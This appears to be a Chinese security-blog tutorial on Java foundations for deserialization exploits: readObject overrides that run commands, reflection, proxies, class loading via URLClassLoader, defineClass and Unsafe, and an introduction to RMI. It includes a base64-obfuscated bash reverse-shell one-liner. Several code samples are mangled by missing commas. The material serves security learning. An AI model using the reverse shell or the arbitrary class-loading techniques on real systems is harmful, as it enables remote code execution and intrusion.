详细|Java基础之Java反序列化
2023-3-13 21:3:20 Author: Z2O安全攻防(查看原文) 阅读量:18 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

欢迎投稿原创文章,投稿两篇原创技术文章可免费获得《Z2O安全攻防》知识星球一年使用权限

本文来自 Z2O安全交流群[email protected]kill3r

什么是序列化和反序列化

在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化

  1. 1. 序列化:将内存中的某个对象压缩成字节流的形式

  2. 2. 反序列化:将字节流转化成内存中的对象

为什么会产生安全问题?

只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.

可能的形式

  1. 1. 入口类的readObject直接调用危险方法

  2. 2. 入口类参数中包含可控类,该类有危险方法,readObject时调用

  3. 3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

比如类型定义为Object,调用equals/hashcode/toString 相同类型  同名函数

  1. 1. 构造函数/静态代码块等类加载时隐式执行

JAVA原生反序列化漏洞成因

Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码

Java序列化和反序列化基础

需要跳出PHP反序列化的思想

在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流

序列化/反序列化是一种思想,并不局限于其实现的形式

如:

  • • JAVA内置的writeObject()/readObject()

  • • JAVA内置的XMLDecoder()/XMLEncoder

  • • XStream

  • • SnakeYaml

  • • FastJson

  • • Jackson

出现过漏洞的组件

  • • Apache Shiro

  • • Apache Axis

  • • Weblogic

  • • Jboss

  • • Fastjson

Java中的命令执行

public static void main() throws Exception{
    Runtime.getRuntime().exec("calc");
    /*
        Java中执行系统命令使用java.lang.Runtime类的exec方法
        以上函数可以弹出计算器
        getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等)
        exec底层为ProcessBuilder:此类用于创建操作系统进程
        每个ProcessBuilder实例管理进程属性的集合。start()方法使用这些属性创建一个新的Process实例。start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程。
    */

}

注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i}

编写一个可以序列化的类

在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口

/*
 * @Author: 
 * @Date: 2022-10-03 15:57:25
 * @LastEditors: 
 * @LastEditTime: 2022-10-04 14:25:05
 * @Description: 请填写简介
 */

package serializable;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

/*
 * implements Serializable:序列化的前提,需要实现这个接口
 * Serializable:表示这个类的成员可以被序列化
 */

public class Person implements Serializable {
    private static final long serialVersionUID = 1L;
    // 添加一个 transient 关键字,则name属性不会被序列化和反序列化
    // 如果将属性设置为static,同样不会被序列化和反序列化
    // private transient String name;
    public String name;
    private int age;
    public Person(){

    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    /*
     * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
     * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
     * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处:
     * 1. 可以当注释用,方便阅读
     * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错
     * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法)
     * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误
     */

    @Override
    public String toString() {
        return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
    }

    private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
        /*
         * java.io.ObjectInputStream.defaultReadObject()
         * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助.
         * 如果它被调用,则会抛出NotActiveException
         */

        objectInputStream.defaultReadObject();
        /*
         * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得.
         */

        /*
         * exec:在具有指定环境的单独进程中执行指定的字符串命令.
         * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 .
         */

        Runtime.getRuntime().exec("calc");
    }
}

我们跟进java.io.Serializable接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了

 public interface Serializable{
 }

如何序列化类

Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可

/*
 * @Author: 
 * @Date: 2022-10-03 15:56:26
 * @LastEditors: 
 * @LastEditTime: 2022-10-04 10:19:15
 * @Description: 请填写简介
 */

package serializable;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Serializable {
    public static void serializable(Object person) throws IOException {
        /*
         * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构)
         * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象.
         */

        /*
         * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor
         * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream
         * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败.
         * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter .
         */

        // 序列化的类
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        /*
         * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流.
         * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同.
         */

        // 需要序列化的对象是谁?
        obj.writeObject(person);
        obj.close();
    }
    public static void main(String[] args) throws Exception{
        Person person = new Person("JiangJiYue"22);
        serializable(person);
    }
}

跟进writeObject函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口)

如何反序列化类

序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.
我们在之前重写了readObject方法,所以会执行命令

/*
 * @Author: 
 * @Date: 2022-10-03 15:57:52
 * @LastEditors: 
 * @LastEditTime: 2022-10-04 10:23:07
 * @Description: 请填写简介
 */

package serializable;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Unserializable {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        /*
         * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象.
         * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序.
         * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数.
         * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类.
         * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象.
         */

        // 反序列化的类
        ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename)));
        /*
         * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象.
         * 读取时,需要将其转换为预期类型.
         */

        // 读出来并反序列化
        Object obj = ins.readObject();
        ins.close();
        return obj;
    }

    public static void main(String[] args) throws Exception {
        Person person = (Person) unserialize("ser.ser");
        System.out.println(person);
    }
}

其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理

serialVersionUID

序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套

同样在Java中与协议相对的概念为:serialVersionUID

当serialVersionUID不一致时,反序列化会直接抛出异常

比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常

跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常

Java反射

将类的各个组成部分封装为其他对象,这就是反射机制

反射的作用

让Java具有动态性

  1. 1. 修改已有对象的属性

  2. 2. 动态生成对象

  3. 3. 动态调用方法

  4. 4. 操作内部类和私有方法

  5. 5. 解耦,提高程序的可扩展性

在反序列化漏洞中的应用

  1. 1. 定制需要的对象

  2. 2. 通过invoke调用除了同名函数以外的函数

  3. 3. 通过Class类创建对象,引入不能序列化的类

获取字节码Class对象的三种方式

  1. 1. Source源代码阶段:Class.forName("全类名");

将字节码文件加载进内存,返回Class对象 多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类

  1. 1. Class类对象阶段:类名.class

通过类名的属性class来获取 多用于参数的传递

  1. 1. Runtime运行时阶段:对象.getClass

getClass()方法在Object类中定义着 多用于对象的获取字节码的方式

*同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 **

Class对象

Field

获取成员变量们

  • • Field[] fields = getFields()获取所有public修饰的成员变量

  • • Field field = getField(String name)获取所有public修饰的成员变量

  • • Field[] fields = getDeclaredFields()获取所有的成员变量

  • • Field field = getDeclaredField(String name)获取所有的成员变量

  • • 操作

    • • 获取值:get(Object obj)

package serializable;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

public class ReflectionTest {
    public static void main(String[] args) throws Exception  {
        Class cls = Class.forName("serializable.Person");
        //当我不想 newInstance初始化的时候执行空参数的构造函数的时候
        //可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数
        //获取到Person(String name,int age) 构造函数
        // 从class里面实例化对象
        Constructor personconstructor = cls.getConstructor(String.class,int.class);
        //通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数
        Person p = (Person) personconstructor.newInstance("abc",22);
        Field name = cls.getField("name");
        System.out.println(name.get(p));
    }
}

  -  私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查 
Field age = cls.getDeclaredField("age");
// 忽略安全检查又称为暴力反射
age.setAccessible(true);
System.out.println(age.get(p));
  • • 设置值:void set(Object obj,Object value)

name.set(p,"张三");
System.out.println(p);

Constructor

获取构造方法们

  • • Constructor<?>[] = getConstructors()

  • • Constructor<T> = getConstructor(类<?>...parameterTypes)

    • • newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22);

    • • Constructor:构造方法

Constructor personconstructor = cls.getConstructor(String.class,int.class);
System.out.println(personconstructor);
  -  如果使用空参构造方法创建对象,操作可以简化:Class对象的`newInstance` 
Class cls = Class.forName("serializable.Person");
Object o = cls.newInstance();
System.out.println(o);
  • • Constructor<?>[] = getDeclaredConstructors()

  • • Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes)

Method

获取成员方法们

  • • Method[] = getMethods()

  • • Method = getMethod(类<?>...parameterTypes)

Class cls = Class.forName("serializable.Person");
// 获取指定名称
Method eat_method = cls.getMethod("eat");
Object p = cls.newInstance();
// 执行方法
eat_method.invoke(p);
  • • Method[] = getDeclaredMethods()

  • • Method = getDeclaredMethod(类<?>...parameterTypes)

  • • 获取方法名称:String getName

Class cls = Class.forName("serializable.Person");
Method[] methods = cls.getMethods();
for (Method method:methods){
    System.out.println(method.getName());
}

获取类名

  • • String name = getName()

Class cls = Class.forName("serializable.Person");
String className = cls.getName();
System.out.println(className);

案例

写一个"框架",可以帮我们创建任意类的对象,并且执行其中任意方法

/*
 * @Author: 
 * @Date: 2022-10-04 14:11:43
 * @LastEditors: 
 * @LastEditTime: 2022-10-04 16:08:53
 * @Description: 请填写简介
 */

package serializable;

import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Properties;

public class ReflectionTest {
    public static void main(String[] args) throws Exception  {
        /*
        * 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法
        * 步骤:
        *       1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中
        *       2. 在程序中加载读取配置文件
        *       3. 使用反射技术来加载类文件进内存
        *       4. 创建对象
        *       5. 执行方法
        * */

        // 1.1创建Properties对象
        Properties pro = new Properties();
        // 1.2加载配置文件,转换为一个集合
        // 1.2.1获取class目录下的配置文件
        ClassLoader classLoader = ReflectionTest.class.getClassLoader();
        InputStream is = classLoader.getResourceAsStream("serializable/pro.properties");
        pro.load(is);

        // 2.获取配置文件中定义的数据
        String className = pro.getProperty("className");
        String methodName = pro.getProperty("methodName");
        // 3.加载该类进内存
        Class cls = Class.forName(className);
        // 4.创建对象
        Object obj = cls.newInstance();
        // 5.获取方法对象
        Method method = cls.getMethod(methodName);
        // 6.执行方法
        method.invoke(obj);
    }
}

pro.properties:

className=serializable.Person
methodName=eat

Java代理

定义:为其他对象提供一种代理以控制对这个对象的访问

代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类

优点:

  • • 职责清晰

  • • 高扩展,只要实现了接口,都可以使用代理

  • • 智能化,动态代理、

分类

  • • 静态代理

  • • 动态代理

代理常用与记录日志的环境,比如在代理中实现各种日志的记录

静态代理

我们现在有一个接口:IUser
IUser.java:

/*
 * @Author: 
 * @Date: 2022-10-11 19:40:35
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 19:40:36
 * @Description: 请填写简介
 */

package java_proxy;

public interface IUser {
    void show();
}

然后Userlmpl.java实现这个接口

/*
 * @Author: 
 * @Date: 2022-10-11 19:42:01
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 19:43:35
 * @Description: 请填写简介
 */

package java_proxy;

public class Userlmpl implements IUser{
    public Userlmpl() {
    }

    @Override
    // @Override是伪代码,表示重写
    public void show() {
        System.out.println("展示");
    }
}

假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy

/*
 * @Author: 
 * @Date: 2022-10-11 19:45:45
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 19:46:53
 * @Description: 请填写简介
 */

package java_proxy;

public class UserProxy implements IUser{
    IUser user;

    public UserProxy() {
    }

    public UserProxy(IUser user) {
        this.user = user;
    }
    @Override
    public void show() {
        user.show();
        System.out.println("调用了UserProxy中的show");
    }
}

ProxyTest.java

/*
 * @Author: 
 * @Date: 2022-10-11 19:44:01
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 20:25:55
 * @Description: 请填写简介
 */

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new Userlmpl();
        // 静态代理
        IUser userProxy = new UserProxy(user);
        userProxy.show();
    }
}


这种模式虽然好理解,但是缺点也很明显:

  • • 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类。

  • • 不易维护,一旦接口更改,代理类和目标类都需要更改。

动态代理

JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成"虚拟"的代理类,被ClassLoader加载。从而避免了静态代理那样需要声明大量的代理类。

JDK从1.3版本就开始支持动态代理类的创建。主要核心类只有2个:java.lang.reflect.Proxyjava.lang.reflect.InvocationHandler

  • • JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口

还是前面那个例子,用动态代理类去实现的代码如下:
Userlmpl.java

/*
 * @Author: 
 * @Date: 2022-10-11 19:42:01
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 19:43:35
 * @Description: 请填写简介
 */

package java_proxy;

public class Userlmpl implements IUser{
    public Userlmpl() {
    }

    @Override
    // @Override是伪代码,表示重写
    public void show() {
        System.out.println("展示");
    }
}

UserInvocationHandler.java

/*
 * @Author: 
 * @Date: 2022-10-11 20:21:22
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 20:27:17
 * @Description: 请填写简介
 */

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {
    IUser user;

    public UserInvocationHandler() {
    }

    public UserInvocationHandler(IUser user) {
        this.user = user;
    }
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("调用了UserInvocationHandler中的show");
        method.invoke(user, args);
        return null;
    }
}

ProxyTest.java

/*
 * @Author: 
 * @Date: 2022-10-11 19:44:01
 * @LastEditors: 
 * @LastEditTime: 2022-10-11 20:25:55
 * @Description: 请填写简介
 */

package java_proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
    public static void main(String[] args) {
        IUser user = new Userlmpl();
        // 动态代理
        InvocationHandler userinvhandler = new UserInvocationHandler(user);
        // 要代理的接口、类加载器,classloader、要做的事情、
        IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(),
                user.getClass().getInterfaces(), userinvhandler);
        userProxy.show();
    }
}

Java类的动态加载

类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。类加载,即虚拟机加载.class文件。什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握。

类加载的时候会执行代码

  1. 1. 初始化:静态代码块

  2. 2. 实例化:构造代码块、无参数构造函数

Javac原理

javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)

类加载过程

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行。

类加载的流程图

/*
 * @Author: 
 * @Date: 2022-10-12 12:18:17
 * @LastEditors: 
 * @LastEditTime: 2022-10-12 12:25:28
 * @Description: 请填写简介
 */

package load_class;

public class Person {

    public String name;
    private int age;
    static {
        System.out.println("静态代码块");
    }

    public static void staticAction() {
        System.out.println("静态方法");
    }

    {
        System.out.println("构造代码块");
    }
    public Person(){
        System.out.println("无参Person");
    }

    public Person(String name, int age) {
        System.out.println("有参Person");
        this.name = name;
        this.age = age;
    }

    /*
     * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口
     * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记
     * @Override是伪代码,表示重写(当然不写也可以),
     */

    @Override
    public String toString() {
        return "Person{" + "name='" + name + '\'' + ",age=" + age + '}';
    }

    private void action(String act){System.out.println(act);}
}

动态类加载方法

类加载可以加载任意方法,但是反射只能反射公共的

Class.forname

package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception{
        // 动态加载进行了初始化的操作
        Class.forName("load_class.Person");
    }
}

/*
 * @Author: 
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: 
 * @LastEditTime: 2022-10-12 14:37:34
 * @Description: 请填写简介
 */

package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
        ClassLoader cs = ClassLoader.getSystemClassLoader();
        // 第一个参数类名
        // 第二个参数是不进行初始化
        // 第四个参数是forName0的,所以在这不用写
        // 这种都是可以正常实例化的
        Class<?> c = Class.forName("load_class.Person"false, cs);
        // 正常的实例化
        c.newInstance();
    }
}

ClassLoader

/*
 * @Author: 
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: 
 * @LastEditTime: 2022-10-12 14:40:27
 * @Description: 请填写简介
 */

package load_class;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器
        ClassLoader cs = ClassLoader.getSystemClassLoader();
        // 打印ClassLoader,看一下是什么
        // result:sun.misc.Launcher$AppClass[email protected]
        // 他是Launcher里面的一个内部类,叫做AppClassLoader
        System.out.println(cs);
    }
}

关类

URLClassLoader

URLClassLoader:输入一个URL,从URL内加载一个类出来

  1. 1. 构造一个恶意类

import java.io.IOException;

public class Hello {
    static  {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

  1. 1. javac .\Hello.java然后将Hello.java删除或者移动到其他目录

  2. 2. 编译动态加载类

defineClass

defineClass是一个protected,所以只能通过反射调用,字节码任意加载类
构造恶意类:Hello.java

/*
 * @Author: 
 * @Date: 2022-10-12 22:43:33
 * @LastEditors: 
 * @LastEditTime: 2022-10-13 08:27:39
 * @Description: 请填写简介
 */

package load_class;

public class Hello {
    public Hello() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

动态加载:LoadClass.java

        ClassLoader cl = ClassLoader.getSystemClassLoader();
        Method defineClassMethod =  ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
        Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);
        c.newInstance();

Unsafe

Unsafe中也含有defineClass字节码任意加载类

/*
 * @Author: 
 * @Date: 2022-10-12 12:17:50
 * @LastEditors: 
 * @LastEditTime: 2022-10-13 20:19:06
 * @Description: 请填写简介
 */

package load_class;

import sun.misc.Launcher;
import sun.misc.Unsafe;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoadClass {
    public static void main(String[] args) throws Exception {
        ClassLoader cl = ClassLoader.getSystemClassLoader();
        byte[] code = Files.readAllBytes(Paths
                .get("D:\\LearningWorld\\PersonalProject\\PersonalProject\\Java\\基础语法\\src\\load_class\\Hello.class"));
        Class c = Unsafe.class;
        Field theUnsafeField = c.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
        Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null);
        c2.newInstance();
    }
}

Map集合

集合又称容器,是Java中对数据结构(数据存储方式)的具体实现
我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作
集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失 .所以集合是一种临时存储数据的容器

image.png

Map集合类型

  1. 1. Map

    • • Map集合是一个双列集合,一个元素包含两个值(一个key,一个value)

    • • Map集合中的元素,key和value的数据类型可以相同,也可以不同

    • • Map集合中的元素,key是不允许重复的,value是可以重复的

    • • Map集合中的元素,key和value是一一对应的

    • • 特点

  2. 2. HashMap

    • • 采用Hashtable哈希表存储结构(神奇的结构)

    • • 优点:添加速度快、查询速度快、删除速度快

    • • 缺点:key无序

  3. 3. LinkedHashMap

    • • 采用哈希表存储结构,同时使用链表维护次序

    • • key有序(添加顺序)

  4. 4. TreeMap

    • • 采用二叉树(红黑树)的存储结构

    • • 优点:key有序 查询速度比List快(按照内容查询)

    • • 缺点:查询速度没有HashMap快

Map接口

  1. 1. 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值)

    1. 1. 继承关系Ctrl+H

image.png
  2. 包含的APIAlt+7
image.png

Map使用

/*
* @Author: 
* @Date: 2022-10-16 20:33:43
* @LastEditors: 
* @LastEditTime: 2022-10-16 22:34:09
* @Description: 请填写简介
*/

package java_Map;

import java.util.*;

public class TestMap {
    public static void main(String[] args) {
        //        Student stu1 = new Student(1, "张三", 22);
        //        Student stu2 = new Student(2, "李四", 28);
        //        Student stu3 = new Student(3, "王五", 24);
        //        Student stu4 = new Student(4, "赵六", 21);
        //        Student stu5 = new Student(5, "刘琦", 18);
        //
        //        Map<Integer, Student> map = new HashMap<>();
        //        map.put(stu1.getId(), stu1);
        //        map.put(stu2.getId(), stu2);
        //        map.put(stu3.getId(), stu3);
        //        map.put(stu4.getId(), stu4);
        //        map.put(stu5.getId(), stu5);
        //        // 该代码允许用户从System.in读取一个数字
        //        Scanner sc = new Scanner(System.in);
        //        // 提示文字
        //        System.out.println("请输入学生的编号:");
        //        // 该代码允许用户从System.in读取一个数字
        //        int id = sc.nextInt();
        //        sc.close();
        //        // map.get()通过key取值
        //        System.out.println(map.get(id));

        Map<Integer, String> map = new HashMap<>();
        // Map集合添加元素 k v
        map.put(1"北京");
        map.put(2"山东");
        map.put(3"河南");
        map.put(4"河北");
        // 根据Key获取对应的值
        System.out.println(map.get(1));
        // 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value
        String s = map.remove(1);
        System.out.println(s);
        // 根据 k v 同时移除内容  返回值是布尔类型
        System.out.println(map.remove(2"山东"));

        // 元素的替换
        System.out.println(map.replace(3"天津"));
        // 替换成功返回Bool
        System.out.println(map.replace(4"河北""山西"));
        System.out.println(map.get(4));

        System.out.println(map);
        // 清空map集合内容 k   v 都清空
        map.clear();
        System.out.println(map);

        System.out.println("--------HashMap保存值情况--------");
        map.put(1"北京1");
        // HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
        System.out.println(map);
        // hash表中是允许Kev保存空对象
        map.put(null"空");
        System.out.println(map);
        System.out.println("--------TreeMap保存值情况--------");
        Map<Integer, String> map2 = new TreeMap<>();
        map2.put(1"北京");
        map2.put(2"北京2");
        // TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖
        map2.put(1"北京3");
        // Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理)
        // map2.put(null, "空");
        System.out.println(map2);
        System.out.println("--------Map3集合的遍历--------");
        Map<Integer, String> map3 = new HashMap<>();
        map3.put(1"北京");
        map3.put(2"山东");
        map3.put(3"河南");
        map3.put(4"河北");
        // 当前遍历的方式
        // 获得map集合中当前所有的key
        System.out.println("遍历方法一:");
        Set<Integer> keySet = map3.keySet();
        for (Integer key : keySet) {
            System.out.println(key+"----"+map3.get(key));
        }
        // 直接获得map集合的value
        System.out.println("遍历方法二:");
        Collection<String> values = map3.values();
            for (String value : values) {
            System.out.println(value);
            }

            System.out.println("遍历方法三:");
            Set<Map.Entry<Integer, String>> entrySet= map3.entrySet();
            for (Map.Entry<Integer, String> entry : entrySet) {
            System.out.println(entry.getKey()+"----"+entry.getValue());
            }
            }
            }

Entry键值对对象

我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项)。Entry 将键值对的对应关系封装成了对象。即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法:

  • • public K getKey():获取Entry对象中的键

  • • public V getValue():获取Entry对象中的值

在Map集合中也提供了获取所有Entry对象的方法:

  • • public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合)

设定值

  • • setValue(V value)

  • • 用指定的值替换与该条目对应的值(可选操作)(写入映射。)如果映射已经从映射中删除(通过迭代器的删除操作),则此调用的行为是未定义的。

  • • 参数:value- 要存储在此条目中的新值

  • • return:对应条目的旧值

前置知识

利用链

利用链是什么:

  • • 入口点Source+中间经过的类方法gadget+执行点Sink

RMI/JRMP/JNDI

RMI(Remote Method Invocation)

能够让程序员开发出基于Java的分布式应用.一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用他的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样

一台机器想要执行另一台机器上的java代码

例如:

        我们使用浏览器对一个http协议实现的接口进行调用,这个接口调用过程我们可以称为`Interface Invocation`,而RMI的概念与之非常相似,只不过RMI调用的是一个Java方法,而浏览器调用的是一个http接口.并且Java中封装了RMI的一系列定义


Server--->告诉注册中心
Client--->根据名字和注册中心要端口

Registry翻译一下就是注册处,其实本质就是一个map(hashtable),注册着许多Name到对象的绑定关系,用于客户端查询要调用的方法的引用.

注册中心约定端口:1099

Registry的作用就好像是病人(客户端)看病之前的挂号(获取远程对象的IP、端口、标识符),知道医生(服务端)在哪个门诊,再去看病(执行远程方法)

RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制,RMI调用远程的方法大致如下:
整个过程会进行两次TCP连接:

  1. 1. Client获取这个Name和对象的绑定关系

    • • RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.Registrylmpl Stub)

    • • Stub会将Remote对象传递给远程引用层java.rmi.server.RemoteRef并创建
      java.rmi.server.RemoteCall(远程调用)对象。

    • • RemoteCall序列化RMI服务名称、Remote对象。

